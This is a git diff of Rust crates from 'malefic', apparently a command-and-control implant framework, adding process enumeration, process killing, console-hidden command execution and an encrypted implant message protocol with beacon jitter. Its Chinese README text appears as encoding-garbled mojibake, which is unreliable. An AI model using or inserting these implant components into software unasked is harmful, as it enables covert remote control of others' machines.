malefic_process::exec::{shell_execute, is_file_in_use}; + +if !is_file_in_use("/path/to/file") { + shell_execute("/path/to/file", "open").unwrap(); +} +``` + +## 注æ„事项 + +- Windows 下 `run_command` å’Œ `async_command` 使用 `CREATE_NO_WINDOW`(`0x08000000`)标志,ä¸ä¼šå¼¹å‡ºæŽ§åˆ¶å°çª—å£ +- 枚举进程时部分系统进程(如 PID 0)å¯èƒ½å› æƒé™ä¸è¶³è€Œè·³è¿‡ +- Linux é€šè¿‡è¯»å– ELF magic 字节判断架构,进程已退出或无æƒé™æ—¶è¿”回 `unknown` + +## å‚考链接 + +- [Windows ToolHelp32 API](https://learn.microsoft.com/en-us/windows/win32/toolhelp/tool-help-functions) +- [Linux /proc 文件系统](https://man7.org/linux/man-pages/man5/proc.5.html) +- [macOS sysctl KERN_PROC](https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/sysctl.3.html) diff --git a/malefic-crates/process/src/darwin/mod.rs b/malefic-crates/process/src/darwin/mod.rs new file mode 100644 index 0000000..1f8b83b --- /dev/null +++ b/malefic-crates/process/src/darwin/mod.rs @@ -0,0 +1,342 @@ +use crate::Process; +use libc::{ + c_char, c_int, c_short, c_void, gid_t, pid_t, proc_pidpath, sysctl, uid_t, CTL_KERN, KERN_PROC, + KERN_PROC_ALL, +}; +use nix::unistd::{Uid, User}; +use std::collections::HashMap; +use std::ffi::CStr; +use std::mem; +use std::ptr; + +const KERN_PROC_PID: i32 = 1; +const P_LP64: i32 = 0x4; +const PROC_PIDPATHINFO_MAXSIZE: u32 = 4096; +pub const NGROUPS: libc::c_int = 16; +pub const WMESGLEN: libc::c_int = 7; +pub const COMAPT_MAXLOGNAME: libc::c_int = 12; + +#[allow(non_camel_case_types)] +pub type caddr_t = *mut libc::c_void; +#[allow(non_camel_case_types)] +pub type segsz_t = i32; +#[allow(non_camel_case_types)] +pub type fixpt_t = u32; +#[allow(non_camel_case_types)] +pub type u_quad_t = u64; + +#[repr(C)] +#[derive(Copy, Clone)] +pub struct kinfo_proc { + pub kp_proc: extern_proc, + pub kp_eproc: eproc, +} + +#[derive(Clone, Copy)] +#[repr(C)] +pub struct _pcred { + pub pc_lock: [libc::c_char; 72], + pub pc_ucred: *mut libc::c_void, + pub p_ruid: libc::uid_t, + pub p_svuid: libc::uid_t, + pub p_rgid: libc::gid_t, + pub p_svgid: libc::gid_t, + pub p_refcnt: libc::c_int, +} + +#[derive(Clone, Copy)] +#[repr(C)] +pub struct vmspace { + pub dummy: i32, + pub dummy2: caddr_t, + pub dummy3: [i32; 5], + pub dummy4: [caddr_t; 3], +} + +#[derive(Clone, Copy)] +#[repr(C)] +pub struct _ucred { + pub cr_ref: i32, + pub cr_uid: libc::uid_t, + pub cr_ngroups: libc::c_short, + pub cr_groups: [libc::gid_t; NGROUPS as usize], +} + +#[repr(C)] +#[derive(Copy, Clone)] +pub struct eproc { + pub e_paddr: *mut libc::c_void, + pub e_sess: *mut libc::c_void, + pub e_pcred: _pcred, + pub e_ucred: _ucred, + pub e_vm: vmspace, + pub e_ppid: libc::pid_t, + pub e_pgid: libc::pid_t, + pub e_jobc: libc::c_short, + pub e_tdev: libc::dev_t, + pub e_tpgid: libc::pid_t, + pub e_tsess: *mut libc::c_void, + pub e_wmesg: [libc::c_char; WMESGLEN as usize + 1], + pub e_xsize: segsz_t, + pub e_xrssize: libc::c_short, + pub e_xccount: libc::c_short, + pub e_xswrss: libc::c_short, + pub e_flag: i32, + pub e_login: [libc::c_char; COMAPT_MAXLOGNAME as usize], + pub e_spare: [i32; 4], +} + +#[derive(Clone, Copy)] +#[repr(C)] +pub struct __c_anonymous_p_st1 { + pub __p_forw: *mut libc::c_void, + pub __p_back: *mut libc::c_void, +} + +#[derive(Clone, Copy)] +#[repr(C)] +pub union __c_anonymous_p_un { + pub p_st1: __c_anonymous_p_st1, + pub __p_starttime: libc::timeval, +} + +#[derive(Clone, Copy)] +#[repr(C)] +pub struct extern_proc { + pub p_un: __c_anonymous_p_un, + pub p_vmspace: *mut vmspace, + pub p_sigacts: *mut libc::c_void, + pub p_flag: libc::c_int, + pub p_stat: libc::c_char, + pub p_pid: libc::pid_t, + pub p_oppid: libc::pid_t, + pub p_dupfd: libc::c_int, + pub user_stack: caddr_t, + pub exit_thread: *mut libc::c_void, + pub p_debugger: libc::c_int, + pub sigwait: libc::boolean_t, + pub p_estcpu: libc::c_uint, + pub p_cpticks: libc::c_int, + pub p_pctcpu: fixpt_t, + pub p_wchan: *mut libc::c_void, + pub p_wmesg: *mut libc::c_char, + pub p_swtime: libc::c_uint, + pub p_slptime: libc::c_uint, + pub p_realtimer: libc::itimerval, + pub p_rtime: libc::timeval, + pub p_uticks: u_quad_t, + pub p_sticks: u_quad_t, + pub p_iticks: u_quad_t, + pub p_traceflag: libc::c_int, + pub p_tracep: *mut libc::c_void, + pub p_siglist: libc::c_int, + pub p_textvp: *mut libc::c_void, + pub p_holdcnt: libc::c_int, + pub p_sigmask: libc::sigset_t, + pub p_sigignore: libc::sigset_t, + pub p_sigcatch: libc::sigset_t, + pub p_priority: libc::c_uchar, + pub p_usrpri: libc::c_uchar, + pub p_nice: libc::c_char, + pub p_comm: [libc::c_char; libc::MAXCOMLEN + 1], + pub p_pgrp: *mut libc::c_void, + pub p_addr: *mut libc::c_void, + pub p_xstat: libc::c_ushort, + pub p_acflag: libc::c_ushort, + pub p_ru: *mut libc::c_void, +} + +pub fn get_processes() -> anyhow::Result> { + let mut processes = HashMap::new(); + unsafe { + let mut mib = [CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0]; + let mut size: usize = 0; + if sysctl( + mib.as_mut_ptr(), + 3, + std::ptr::null_mut(), + &mut size, + std::ptr::null_mut(), + 0, + ) < 0 + { + return Err(anyhow::anyhow!("Failed to get process list size")); + } + let count = size / mem::size_of::(); + let mut proc_list = vec![mem::zeroed::(); count]; + if sysctl( + mib.as_mut_ptr(), + 3, + proc_list.as_mut_ptr() as *mut c_void, + &mut size, + std::ptr::null_mut(), + 0, + ) < 0 + { + return Err(anyhow::anyhow!("Failed to get process list")); + } + for proc_info in proc_list.iter().take(count) { + let pid = proc_info.kp_proc.p_pid as u32; + if let Ok(process) = get_process_info(pid) { + processes.insert(pid, process); + } + } + } + Ok(processes) +} + +pub fn get_current_pid() -> u32 { + unsafe { libc::getpid() as u32 } +} + +pub fn get_process_info(pid: u32) -> anyhow::Result { + unsafe { + let mut mib = [CTL_KERN, KERN_PROC, KERN_PROC_PID, pid as c_int]; + let mut proc_info: kinfo_proc = mem::zeroed(); + let mut size = mem::size_of::(); + + if sysctl( + mib.as_mut_ptr(), + mib.len() as _, + std::ptr::null_mut(), + &mut size, + std::ptr::null_mut(), + 0, + ) + .eq(&-1) + { + return Err(anyhow::anyhow!("Failed to get process info")); + } + if sysctl( + mib.as_mut_ptr(), + 4, + &mut proc_info as *mut _ as *mut c_void, + &mut size, + ptr::null_mut(), + 0, + ) < 0 + { + return Err(anyhow::anyhow!("Failed to get process info")); + } + + let name = CStr::from_ptr(proc_info.kp_proc.p_comm.as_ptr()) + .to_string_lossy() + .into_owned(); + let ppid = proc_info.kp_eproc.e_ppid as u32; + + let mut path_buf = vec![0u8; PROC_PIDPATHINFO_MAXSIZE as usize]; + let path_len = proc_pidpath( + pid as pid_t, + path_buf.as_mut_ptr() as *mut c_void, + PROC_PIDPATHINFO_MAXSIZE as u32, + ); + let path = if path_len > 0 { + CStr::from_ptr(path_buf.as_ptr() as *const i8) + .to_string_lossy() + .into_owned() + } else { + String::new() + }; + + let args = get_process_args(pid); + let arch = get_process_architecture(pid)?; + let owner = get_process_owner(proc_info.kp_eproc.e_ucred.cr_uid)?; + + Ok(Process { + name, + pid, + ppid, + arch, + owner, + path, + args, + }) + } +} + +fn get_process_args(pid: u32) -> String { + unsafe { + let mut mib = [CTL_KERN, libc::KERN_PROCARGS2, pid as c_int]; + let mut size: usize = 0; + if sysctl( + mib.as_mut_ptr(), + 3, + ptr::null_mut(), + &mut size, + ptr::null_mut(), + 0, + ) < 0 + { + return String::new(); + } + let mut buffer = vec![0u8; size]; + if sysctl( + mib.as_mut_ptr(), + 3, + buffer.as_mut_ptr() as *mut c_void, + &mut size, + ptr::null_mut(), + 0, + ) < 0 + { + return String::new(); + } + let mut args = Vec::new(); + let mut pos = mem::size_of::(); + while pos < size { + if let Some(end) = buffer[pos..].iter().position(|&b| b == 0) { + if let Ok(arg) = String::from_utf8(buffer[pos..pos + end].to_vec()) { + if !arg.is_empty() { + args.push(arg); + } + } + pos += end + 1; + } else { + break; + } + } + args.join(" ") + } +} + +fn get_process_architecture(pid: u32) -> anyhow::Result { + unsafe { + let mut mib = [CTL_KERN, KERN_PROC, KERN_PROC_PID, pid as c_int]; + let mut proc_info: kinfo_proc = mem::zeroed(); + let mut size = mem::size_of::(); + if sysctl( + mib.as_mut_ptr(), + mib.len() as _, + std::ptr::null_mut(), + &mut size, + std::ptr::null_mut(), + 0, + ) + .eq(&-1) + { + return Err(anyhow::anyhow!("Failed to get process architecture")); + } + if sysctl( + mib.as_mut_ptr(), + 4, + &mut proc_info as *mut _ as *mut c_void, + &mut size, + ptr::null_mut(), + 0, + ) < 0 + { + return Ok("unknown".to_string()); + } + if proc_info.kp_proc.p_flag & P_LP64 != 0 { + Ok("x64".to_string()) + } else { + Ok("x86".to_string()) + } + } +} + +fn get_process_owner(uid: u32) -> anyhow::Result { + let user = + User::from_uid(Uid::from_raw(uid))?.ok_or_else(|| anyhow::anyhow!("User not found"))?; + Ok(user.name) +} diff --git a/malefic-crates/process/src/exec.rs b/malefic-crates/process/src/exec.rs new file mode 100644 index 0000000..f103a68 --- /dev/null +++ b/malefic-crates/process/src/exec.rs @@ -0,0 +1,63 @@ +use std::io; +use std::path::Path; + +#[cfg(target_os = "windows")] +pub fn is_file_in_use>(path: P) -> bool { + use std::fs::OpenOptions; + use std::os::windows::fs::OpenOptionsExt; + const FILE_SHARE_READ: u32 = 1; + const FILE_SHARE_WRITE: u32 = 2; + + OpenOptions::new() + .read(true) + .share_mode(FILE_SHARE_READ | FILE_SHARE_WRITE) + .open(path) + .is_err() +} + +#[cfg(not(target_os = "windows"))] +pub fn is_file_in_use>(_path: P) -> bool { + false +} + +#[cfg(target_os = "windows")] +pub fn shell_execute>(path: P, operation: &str) -> io::Result<()> { + use std::os::windows::prelude::OsStrExt; + use std::ptr; + use windows::core::PCWSTR; + use windows::Win32::Foundation::HWND; + use windows::Win32::UI::{Shell::ShellExecuteW, WindowsAndMessaging::SW_NORMAL}; + + let path = path.as_ref(); + if is_file_in_use(path) { + return Ok(()); + } + + let path_str: Vec = path.as_os_str().encode_wide().chain(Some(0)).collect(); + let operation: Vec = operation.encode_utf16().chain(Some(0)).collect(); + + unsafe { + ShellExecuteW( + HWND(ptr::null_mut()), + PCWSTR(operation.as_ptr()), + PCWSTR(path_str.as_ptr()), + PCWSTR::null(), + PCWSTR::null(), + SW_NORMAL, + ); + } + Ok(()) +} + +#[cfg(not(target_os = "windows"))] +pub fn shell_execute>(path: P, _operation: &str) -> io::Result<()> { + use std::process::Command; + + let path = path.as_ref(); + if is_file_in_use(path) { + return Ok(()); + } + + Command::new(path).spawn()?; + Ok(()) +} diff --git a/malefic-crates/process/src/lib.rs b/malefic-crates/process/src/lib.rs new file mode 100644 index 0000000..3a9ad38 --- /dev/null +++ b/malefic-crates/process/src/lib.rs @@ -0,0 +1,129 @@ +#[cfg(target_os = "macos")] +pub mod darwin; +pub mod exec; +#[cfg(any(target_os = "linux", target_os = "android"))] +pub mod linux; +#[cfg(target_os = "windows")] +pub mod win; + +#[cfg(target_os = "macos")] +use darwin as platform; +#[cfg(any(target_os = "linux", target_os = "android"))] +use linux as platform; +#[cfg(target_os = "windows")] +use win as platform; + +use malefic_common::errors::CommonError; +use malefic_gateway::ObfDebug; +use std::collections::HashMap; +use std::process::{Command, Stdio}; + +#[cfg(target_family = "unix")] +pub fn kill(pid: u32) -> Result<(), CommonError> { + let res = unsafe { libc::kill(pid as i32, libc::SIGKILL) }; + if res.eq(&0) { + Ok(()) + } else { + Err(CommonError::IOError(std::io::Error::last_os_error())) + } +} + +#[cfg(target_family = "windows")] +pub fn kill(pid: u32) -> Result<(), CommonError> { + use malefic_common::to_error; + use windows::Win32::Foundation::{CloseHandle, HANDLE}; + use windows::Win32::System::Threading::{OpenProcess, TerminateProcess, PROCESS_TERMINATE}; + + unsafe { + let process_handle: HANDLE = to_error!(OpenProcess(PROCESS_TERMINATE, false, pid))?; + to_error!(TerminateProcess(process_handle, 1))?; + to_error!(CloseHandle(process_handle))?; + } + + Ok(()) +} + +#[derive(ObfDebug, Clone, Default)] +pub struct Process { + pub name: String, + pub pid: u32, + pub ppid: u32, + pub arch: String, + pub owner: String, + pub path: String, + pub args: String, +} + +pub fn get_process(pid: u32) -> anyhow::Result { + platform::get_process_info(pid) +} + +pub fn get_processes() -> anyhow::Result> { + platform::get_processes() +} + +pub fn get_arch() -> String { + if cfg!(target_arch = "x86_64") { + "x86_64".to_string() + } else if cfg!(target_arch = "x86") { + "x86".to_string() + } else if cfg!(target_arch = "arm") { + "arm".to_string() + } else if cfg!(target_arch = "aarch64") { + "aarch64".to_string() + } else { + "unknown".to_string() + } +} + +pub fn get_current_process() -> Option { + get_process(platform::get_current_pid()).ok() +} + +pub fn run_command( + path: String, + args: Vec, +) -> std::result::Result { + #[cfg(target_os = "windows")] + { + use std::os::windows::process::CommandExt; + Command::new(path) + .creation_flags(0x08000000) + .args(args) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + .spawn() + } + #[cfg(target_family = "unix")] + { + Command::new(path) + .args(args) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + .spawn() + } +} + +pub fn async_command( + path: String, + args: Vec, +) -> std::result::Result { + #[cfg(target_os = "windows")] + { + use async_process::windows::CommandExt; + async_process::Command::new(path) + .creation_flags(0x08000000) + .args(args) + .stdout(async_process::Stdio::piped()) + .stderr(async_process::Stdio::piped()) + .spawn() + } + #[cfg(target_family = "unix")] + { + async_process::Command::new(path) + .args(args) + .stdout(async_process::Stdio::piped()) + .stderr(async_process::Stdio::piped()) + .spawn() + } +} diff --git a/malefic-crates/process/src/linux/mod.rs b/malefic-crates/process/src/linux/mod.rs new file mode 100644 index 0000000..36d699b --- /dev/null +++ b/malefic-crates/process/src/linux/mod.rs @@ -0,0 +1,110 @@ +use crate::Process; +use nix::unistd::{Uid, User}; +use std::collections::HashMap; +use std::fs; +use std::io::Read; +use std::path::Path; + +pub fn get_processes() -> anyhow::Result> { + let mut processes = HashMap::new(); + for entry in fs::read_dir("/proc")?.flatten() { + let path = entry.path(); + if let Some(pid_str) = path.file_name().and_then(|s| s.to_str()) { + if let Ok(pid) = pid_str.parse::() { + if let Ok(process) = get_process_info(pid) { + processes.insert(pid, process); + } + } + } + } + Ok(processes) +} + +pub fn get_current_pid() -> u32 { + unsafe { libc::getpid() as u32 } +} + +pub fn get_process_info(pid: u32) -> anyhow::Result { + let proc_path = Path::new("/proc").join(pid.to_string()); + + let stat = fs::read_to_string(proc_path.join("stat"))?; + + // Process name is between first '(' and last ')' - handles names with spaces + let name_start = stat + .find('(') + .ok_or_else(|| anyhow::anyhow!("invalid stat"))? + + 1; + let name_end = stat + .rfind(')') + .ok_or_else(|| anyhow::anyhow!("invalid stat"))?; + let name = stat[name_start..name_end].to_string(); + + // Fields after ')': state ppid pgrp session ... + let rest = &stat[name_end + 2..]; + let rest_parts: Vec<&str> = rest.split_whitespace().collect(); + let ppid = rest_parts + .get(1) + .ok_or_else(|| anyhow::anyhow!("invalid stat"))? + .parse::()?; + + let status = fs::read_to_string(proc_path.join("status"))?; + let uid = status + .lines() + .find(|line| line.starts_with("Uid:")) + .and_then(|line| line.split_whitespace().nth(1)) + .unwrap_or("0") + .to_string(); + + let path = fs::read_link(proc_path.join("exe")) + .map(|p| p.to_string_lossy().into_owned()) + .unwrap_or_default(); + + let mut cmdline = String::new(); + if let Ok(mut file) = fs::File::open(proc_path.join("cmdline")) { + let mut buffer = Vec::new(); + if file.read_to_end(&mut buffer).is_ok() { + cmdline = buffer + .split(|&b| b == 0) + .filter_map(|s| String::from_utf8(s.to_vec()).ok()) + .collect::>() + .join(" "); + } + } + + let arch = get_process_architecture(pid).unwrap_or_else(|_| "unknown".to_string()); + let owner = get_process_owner(&uid).unwrap_or_else(|_| uid.clone()); + + Ok(Process { + name, + pid, + ppid, + arch, + owner, + path, + args: cmdline, + }) +} + +fn get_process_architecture(pid: u32) -> anyhow::Result { + let exe_path = format!("/proc/{}/exe", pid); + let mut file = fs::File::open(exe_path)?; + let mut buffer = [0u8; 5]; + file.read_exact(&mut buffer)?; + + if buffer[0..4] != [0x7f, 0x45, 0x4c, 0x46] { + return Ok("unknown".to_string()); + } + + match buffer[4] { + 1 => Ok("x86".to_string()), + 2 => Ok("x64".to_string()), + _ => Ok("unknown".to_string()), + } +} + +fn get_process_owner(uid: &str) -> anyhow::Result { + let uid = uid.parse::()?; + let user = + User::from_uid(Uid::from_raw(uid))?.ok_or_else(|| anyhow::anyhow!("User not found"))?; + Ok(user.name) +} diff --git a/malefic-crates/process/src/win/mod.rs b/malefic-crates/process/src/win/mod.rs new file mode 100644 index 0000000..b2fc39f --- /dev/null +++ b/malefic-crates/process/src/win/mod.rs @@ -0,0 +1,288 @@ +use crate::Process; +use malefic_common::debug; +use std::collections::HashMap; +use std::ffi::OsString; +use std::mem::MaybeUninit; +use std::os::windows::ffi::OsStringExt; +use std::ptr::null_mut; +use windows::core::{PCWSTR, PWSTR}; +use windows::Wdk::System::Threading::{NtQueryInformationProcess, PROCESSINFOCLASS}; +use windows::Win32::Foundation::{ + CloseHandle, LocalFree, BOOL, HANDLE, HLOCAL, MAX_PATH, UNICODE_STRING, +}; +use windows::Win32::Security::{ + GetTokenInformation, LookupAccountSidW, TokenUser, SID_NAME_USE, TOKEN_QUERY, +}; +use windows::Win32::System::Diagnostics::ToolHelp::{ + CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, PROCESSENTRY32W, TH32CS_SNAPPROCESS, +}; +use windows::Win32::System::ProcessStatus::GetModuleFileNameExW; +use windows::Win32::System::SystemInformation::{ + GetNativeSystemInfo, PROCESSOR_ARCHITECTURE_AMD64, PROCESSOR_ARCHITECTURE_INTEL, SYSTEM_INFO, +}; +use windows::Win32::System::Threading::{ + IsWow64Process, OpenProcess, OpenProcessToken, PROCESS_QUERY_INFORMATION, PROCESS_VM_READ, +}; +use windows::Win32::UI::Shell::CommandLineToArgvW; + +pub fn get_processes() -> anyhow::Result> { + let mut processes = HashMap::new(); + unsafe { + let h_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)?; + let mut pe32 = PROCESSENTRY32W::default(); + pe32.dwSize = std::mem::size_of::() as u32; + + if Process32FirstW(h_snapshot, &mut pe32).is_ok() { + loop { + let pid = pe32.th32ProcessID; + let ppid = pe32.th32ParentProcessID; + let name = String::from_utf16_lossy( + &pe32.szExeFile[..pe32 + .szExeFile + .iter() + .position(|&x| x == 0) + .unwrap_or(pe32.szExeFile.len())], + ); + + let (path, arch, owner, args) = if let Some(handle) = get_process_handle(pid) { + let result = ( + get_process_path(handle), + get_process_architecture(handle).unwrap_or_default(), + get_process_owner(handle).unwrap_or_default(), + get_process_args(handle), + ); + let _ = CloseHandle(handle); + result + } else { + (String::new(), String::new(), String::new(), String::new()) + }; + + processes.insert( + pid, + Process { + name, + pid, + ppid, + arch, + owner, + path, + args, + }, + ); + + if Process32NextW(h_snapshot, &mut pe32).is_err() { + break; + } + } + } + let _ = CloseHandle(h_snapshot); + } + Ok(processes) +} + +pub fn get_process_handle(pid: u32) -> Option { + if pid == 0 { + return None; + } + unsafe { OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, pid).ok() } +} + +pub fn get_process_path(handle: HANDLE) -> String { + unsafe { + let mut path_buf = [0u16; MAX_PATH as usize + 1]; + let len = GetModuleFileNameExW(handle, None, &mut path_buf); + if len > 0 { + String::from_utf16_lossy(&path_buf[..len as usize]) + } else { + String::new() + } + } +} + +pub fn get_process_architecture(handle: HANDLE) -> anyhow::Result { + unsafe { + let mut system_info: SYSTEM_INFO = std::mem::zeroed(); + GetNativeSystemInfo(&mut system_info); + let mut is_wow64: BOOL = BOOL(0); + if IsWow64Process(handle, &mut is_wow64).is_ok() && is_wow64.as_bool() { + return Ok("x86".to_string()); + } + let arch = system_info.Anonymous.Anonymous.wProcessorArchitecture; + if arch == PROCESSOR_ARCHITECTURE_AMD64 { + Ok("x64".to_string()) + } else if arch == PROCESSOR_ARCHITECTURE_INTEL { + Ok("x86".to_string()) + } else { + Ok("Unknown".to_string()) + } + } +} + +pub fn get_process_owner(handle: HANDLE) -> anyhow::Result { + unsafe { + let mut token_handle = HANDLE::default(); + if !OpenProcessToken(handle, TOKEN_QUERY, &mut token_handle).is_ok() { + return Err(anyhow::anyhow!("Failed to open process token")); + } + let mut token_info_len = 0u32; + #[allow(unused_must_use)] + { + GetTokenInformation(token_handle, TokenUser, None, 0, &mut token_info_len); + } + + let mut token_info = vec![0u8; token_info_len as usize]; + GetTokenInformation( + token_handle, + TokenUser, + Some(token_info.as_mut_ptr() as *mut _), + token_info_len, + &mut token_info_len, + )?; + let token_user = &*(token_info.as_ptr() as *const windows::Win32::Security::TOKEN_USER); + + let mut name_buf = vec![0u16; 256]; + let mut domain_buf = vec![0u16; 256]; + let mut name_len = name_buf.len() as u32; + let mut domain_len = domain_buf.len() as u32; + let mut sid_type = SID_NAME_USE::default(); + + LookupAccountSidW( + PCWSTR::null(), + token_user.User.Sid, + PWSTR(name_buf.as_mut_ptr()), + &mut name_len, + PWSTR(domain_buf.as_mut_ptr()), + &mut domain_len, + &mut sid_type, + )?; + let _ = CloseHandle(token_handle); + + let domain = String::from_utf16_lossy(&domain_buf[..domain_len as usize]); + let name = String::from_utf16_lossy(&name_buf[..name_len as usize]); + Ok(format!("{}\\{}", domain, name)) + } +} + +pub fn get_current_pid() -> u32 { + std::process::id() +} + +unsafe fn ph_query_process_variable_size( + process_handle: HANDLE, + process_information_class: PROCESSINFOCLASS, +) -> Option> { + let mut return_length = 0u32; + let _ = NtQueryInformationProcess( + process_handle, + process_information_class, + null_mut(), + 0, + &mut return_length, + ); + + let mut buffer = vec![0u8; return_length as usize]; + if NtQueryInformationProcess( + process_handle, + process_information_class, + buffer.as_mut_ptr() as *mut _, + return_length, + &mut return_length, + ) + .is_err() + { + debug!("Failed to read process information"); + return None; + } + + let unicode_str = &*(buffer.as_ptr() as *const UNICODE_STRING); + let str_len = unicode_str.Length as usize / 2; + let mut result = vec![0u16; str_len]; + if str_len > 0 { + std::ptr::copy_nonoverlapping(unicode_str.Buffer.0, result.as_mut_ptr(), str_len); + } + Some(result) +} + +unsafe fn get_cmdline_from_buffer(buffer: PCWSTR) -> Vec { + let mut argc = MaybeUninit::::uninit(); + let argv_p = CommandLineToArgvW(buffer, argc.as_mut_ptr()); + if argv_p.is_null() { + return Vec::new(); + } + let argc = argc.assume_init(); + let argv: &[PWSTR] = std::slice::from_raw_parts(argv_p, argc as usize); + let mut res = Vec::new(); + for arg in argv { + res.push(OsString::from_wide(arg.as_wide())); + } + let _err = LocalFree(HLOCAL(argv_p as _)); + res +} + +fn get_process_args(handle: HANDLE) -> String { + unsafe { + if let Some(buffer) = ph_query_process_variable_size(handle, PROCESSINFOCLASS(60)) { + if buffer.is_empty() { + return String::new(); + } + let buffer = PCWSTR::from_raw(buffer.as_ptr()); + let args = get_cmdline_from_buffer(buffer); + if !args.is_empty() { + args.iter() + .map(|s| s.to_string_lossy().into_owned()) + .collect::>() + .join(" ") + } else { + String::new() + } + } else { + debug!("Failed to get process command line buffer"); + String::new() + } + } +} + +pub fn get_process_info(pid: u32) -> anyhow::Result { + unsafe { + let handle = + get_process_handle(pid).ok_or_else(|| anyhow::anyhow!("Failed to open process"))?; + let mut pe32 = PROCESSENTRY32W::default(); + pe32.dwSize = std::mem::size_of::() as u32; + let mut ppid = 0; + let mut name = String::new(); + + let h_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)?; + if Process32FirstW(h_snapshot, &mut pe32).is_ok() { + while Process32NextW(h_snapshot, &mut pe32).is_ok() { + if pe32.th32ProcessID == pid { + ppid = pe32.th32ParentProcessID; + name = String::from_utf16_lossy( + &pe32.szExeFile[..pe32 + .szExeFile + .iter() + .position(|&x| x == 0) + .unwrap_or(pe32.szExeFile.len())], + ); + break; + } + } + } + let _ = CloseHandle(h_snapshot); + + let path = get_process_path(handle); + let arch = get_process_architecture(handle).unwrap_or_default(); + let owner = get_process_owner(handle).unwrap_or_default(); + let args = get_process_args(handle); + let _ = CloseHandle(handle); + + Ok(Process { + name, + pid, + ppid, + arch, + owner, + path, + args, + }) + } +} diff --git a/malefic-crates/proto/Cargo.toml b/malefic-crates/proto/Cargo.toml new file mode 100644 index 0000000..3bf77a1 --- /dev/null +++ b/malefic-crates/proto/Cargo.toml @@ -0,0 +1,29 @@ +[package] +name = "malefic-proto" +version = "0.1.0" +edition = "2021" + +[features] +default = ["crypto_aes"] + +crypto = [] +crypto_xor = ["crypto", "malefic-crypto/crypto_xor"] +crypto_aes = ["crypto", "malefic-crypto/crypto_aes"] +crypto_chacha20 = ["crypto", "malefic-crypto/crypto_chacha20"] + +secure = ["malefic-crypto/secure"] +enable_serde = ["serde"] + +[dependencies] +prost = { workspace = true } +serde = { workspace = true, optional = true } +thiserror = { workspace = true } +anyhow = { workspace = true } +cfg-if = { workspace = true } +malefic-crypto = { workspace = true, default-features = false } +malefic-common = { workspace = true } +malefic-gateway = { workspace = true } +nanorand = { workspace = true } + +[build-dependencies] +prost-build = { workspace = true } diff --git a/malefic-crates/proto/README.md b/malefic-crates/proto/README.md new file mode 100644 index 0000000..3c2692d --- /dev/null +++ b/malefic-crates/proto/README.md @@ -0,0 +1,93 @@ +# malefic-proto + +Protobuf å议定义与二进制传输åºåˆ—化层,负责消æ¯çš„ç¼–ç ã€è§£ç ã€å°åŒ…与解包。 + +## 功能简介 + +- 基于 `prost` 从 `.proto` æ–‡ä»¶è‡ªåŠ¨ç”Ÿæˆ Rust 类型(`implantpb`ã€`modulepb`) +- æä¾› `SpiteData` 传输帧结构:TLV æ ¼å¼å°åŒ…(起始标记 / Session ID / 长度 / æ•°æ® / ç»“æŸæ ‡è®°ï¼‰ +- 内置数æ®åŽ‹ç¼©ï¼ˆé€šè¿‡ `malefic-crypto` çš„ compress 模å—) +- å¯é€‰åŠ å¯†æ”¯æŒï¼šXORã€AESã€ChaCha20 å¯¹ç§°åŠ å¯†ï¼Œä»¥åŠ Age(X25519)éžå¯¹ç§°åР坆 +- æä¾›å¿ƒè·³é—´éš”æŠ–动计算ã€ä¼šè¯ ID 生æˆç­‰å®žç”¨å‡½æ•° +- 统一的错误类型 `ParserError`,覆盖å议解æžä¸­çš„å„类异常 + +## Features + +| Feature | 说明 | +|---------|------| +| `crypto` | å¯ç”¨åŠ å¯†åŸºç¡€ä¾èµ– | +| `crypto_xor` | XOR 对称加密 | +| `crypto_aes` | AES 对称加密(默认å¯ç”¨ï¼‰ | +| `crypto_chacha20` | ChaCha20 对称加密 | +| `secure` | å¯ç”¨ Age (X25519) éžå¯¹ç§°åŠ å¯†ï¼Œç”¨äºŽç«¯åˆ°ç«¯å®‰å…¨é€šä¿¡ | +| `enable_serde` | 为生æˆçš„ Protobuf 类型派生 `serde::Deserialize` | + +## ä¼ è¾“å¸§æ ¼å¼ + +```text ++-------+------------+--------+------+-------+ +| Start | Session ID | Length | Data | End | +| 0xd1 | 4 bytes | u32 LE | ... | 0xd2 | ++-------+------------+--------+------+-------+ +``` + +Header 固定长度为 9 字节(1 + 4 + 4)。 + +## 基本用法 + +```rust +use malefic_proto::*; + +// åˆ›å»ºä¸€æ¡ Spite æ¶ˆæ¯ +let spite = new_spite( + 1, + "my_task".to_string(), + Body::Empty(implantpb::Empty {}), +); + +// åºåˆ—化并å°åŒ… +let session_id = get_sid(); +let spites = Spites { spites: vec![spite] }; +let frame = marshal(session_id, spites, None).unwrap(); + +// æ‰“åŒ…ä¸ºäºŒè¿›åˆ¶ä¼ è¾“æ•°æ® +let wire_data = frame.pack(); + +// æŽ¥æ”¶ç«¯ï¼šè§£æž header +let mut received = parser_header(&wire_data[..HEADER_LEN]).unwrap(); +// å¡«å…… body 并解包 +received.set_data(wire_data[HEADER_LEN..].to_vec()).unwrap(); +let result = received.parse(None).unwrap(); +``` + +### 使用 Age 加密 + +```rust +use malefic_proto::*; + +// 生æˆå¯†é’¥å¯¹ï¼ˆéœ€å¯ç”¨ secure feature) +let (private_key, public_key) = generate_age_keypair(); + +// 加密å°åŒ… +let frame = marshal(session_id, spites, Some(&public_key)).unwrap(); + +// 解密解包 +let result = frame.parse(Some(&private_key)).unwrap(); +``` + +## 核心 API + +| 函数 | 说明 | +|------|------| +| `marshal` / `marshal_one` | å°† `Spites`/`Spite` ç¼–ç ã€åŽ‹ç¼©ã€åР坆åŽå°è£…为 `SpiteData` | +| `encode` / `decode` | Protobuf ç¼–ç ä¸Žè§£ç  | +| `parser_header` | 从字节æµè§£æžä¼ è¾“帧头部 | +| `new_spite` / `new_empty_spite` / `new_error_spite` | 快速构建 `Spite` æ¶ˆæ¯ | +| `get_sid` | 生æˆéšæœº 4 字节 Session ID | +| `new_heartbeat` | 计算带抖动的心跳间隔(毫秒) | + +## å‚考链接 + +- [prost - Protobuf for Rust](https://github.com/tokio-rs/prost) +- [Protocol Buffers](https://protobuf.dev/) +- [age encryption](https://github.com/FiloSottile/age) diff --git a/malefic-crates/proto/build.rs 